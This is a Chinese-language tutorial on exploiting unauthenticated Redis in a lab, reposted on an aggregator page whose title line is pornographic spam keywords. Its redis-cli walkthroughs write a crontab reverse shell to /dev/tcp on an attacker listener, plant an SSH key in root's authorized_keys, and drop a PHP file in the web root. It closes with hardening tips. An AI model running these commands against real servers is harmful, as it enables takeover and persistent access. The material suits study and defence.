黄色网站入口国产美女,精品国产欧美另类一区,国产一区二区美女自慰,日日摸夜夜添无码国产

選擇你喜歡的標(biāo)簽
我們會(huì)為你匹配適合你的網(wǎng)址導(dǎo)航

    確認(rèn) 跳過(guò)

    跳過(guò)將刪除所有初始化信息

    您的位置:0XUCN > 資訊 > 安全
    新聞分類

    Redis未授權(quán)訪問(wèn)漏洞利用總結(jié)

    安全 PRO 稿源:先知社區(qū) 2021-11-29 14:00

    0x01 redis介紹

    Redis是一個(gè)開源的使用ANSI C語(yǔ)言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語(yǔ)言的API。從2010年3月15日起,Redis的開發(fā)工作由VMware主持。從2013年5月開始,Redis的開發(fā)由Pivotal贊助。

    Redis因配置不當(dāng)可以未授權(quán)訪問(wèn)。攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可導(dǎo)致敏感信息泄露,也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù)。

    攻擊者可通過(guò)EVAL執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤寫入后門文件。

    如果Redis以root身份運(yùn)行,可以給root賬戶寫入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器。

    0x02 本地漏洞環(huán)境搭建

    靶機(jī):CentOS6.5

    CentOS安裝redis:
    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    
    tar xzf redis-3.2.0.tar.gz
    
    cd redis-3.2.0
    
    make
    

    修改配置文件,使可以遠(yuǎn)程訪問(wèn):

    vim redis.conf
    

    bind 127.0.0.1前面加上#號(hào) protected-mode設(shè)為no

    啟動(dòng)redis-server

    ./src/redis-server redis-conf
    

    默認(rèn)的配置是使用6379端口,沒有密碼。這時(shí)候會(huì)導(dǎo)致未授權(quán)訪問(wèn)然后使用redis權(quán)限寫文件。

    0x03 攻擊測(cè)試

    nmap掃描服務(wù)器開啟端口

    1.redis基本命令

    連接redis:

    redis-cli -h 192.168.63.130
    

    查看redis版本信息、一些具體信息、服務(wù)器版本信息等等:

    192.168.63.130:6379>info
    

    將變量x的值設(shè)為test:

    192.168.63.130:6379>set x "test"
    

    是把整個(gè)redis數(shù)據(jù)庫(kù)刪除,一般情況下不要用?。。?/span>

    192.168.63.130:6379>flushall
    

    查看所有鍵:

    192.168.63.130:6379>KEYS *
    

    獲取默認(rèn)的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時(shí)候再恢復(fù)。

    192.168.63.130:6379>CONFIG GET dir
    192.168.63.130:6379>CONFIG GET dbfilename
    

    2.攻擊的幾種方法

    (1).利用計(jì)劃任務(wù)執(zhí)行命令反彈shell

    在redis以root權(quán)限運(yùn)行時(shí)可以寫crontab來(lái)執(zhí)行命令反彈shell

    先在自己的服務(wù)器上監(jiān)聽一個(gè)端口

    nc -lvnp 7999
    

    然后執(zhí)行命令:

    root@kali:~# redis-cli -h 192.168.63.130
    
    192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
    
    OK
    
    192.168.63.130:6379> config set dir /var/spool/cron/
    
    OK
    
    192.168.63.130:6379> config set dbfilename root
    
    OK
    
    192.168.63.130:6379> save
    
    OK
    

    nc監(jiān)聽端口已經(jīng)反彈回來(lái)shell

    ps:此處使用bash反彈shell,也可使用其他方法

    (2).寫ssh-keygen公鑰然后使用私鑰登陸

    在以下條件下,可以利用此方法

    • Redis服務(wù)使用ROOT賬號(hào)啟動(dòng)
    • 服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。

    首先在本地生成一對(duì)密鑰:

    root@kali:~/.ssh# ssh-keygen -t rsa
    

    然后redis執(zhí)行命令:

    192.168.63.130:6379> config set dir /root/.ssh/
    
    OK
    
    192.168.63.130:6379> config set dbfilename authorized_keys
    
    OK
    
    192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
    
    OK
    
    192.168.63.130:6379> save
    
    OK
    

    save后可以直接利用公鑰登錄ssh

    (3).往web物理路徑寫webshell

    當(dāng)redis權(quán)限不高時(shí),并且服務(wù)器開著web服務(wù),在redis有web目錄寫權(quán)限時(shí),可以嘗試往web路徑寫webshell

    執(zhí)行以下命令

    192.168.63.130:6379> config set dir /var/www/html/
    
    OK
    
    192.168.63.130:6379> config set dbfilename shell.php
    
    OK
    
    192.168.63.130:6379> set x "<?php phpinfo();?>"
    
    OK
    
    192.168.63.130:6379> save
    
    OK
    

    即可將shell寫入web目錄(web目錄根據(jù)實(shí)際情況)

    0x04 安全配置

    • 限制登錄ip
    • 添加密碼
    • 修改默認(rèn)端口


    0XU.CN

    [超站]友情鏈接:

    四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
    關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級(jí)服務(wù)市場(chǎng):https://www.ijiandao.com/

    圖庫(kù)
    公眾號(hào) 關(guān)注網(wǎng)絡(luò)尖刀微信公眾號(hào)
    隨時(shí)掌握互聯(lián)網(wǎng)精彩
    贊助鏈接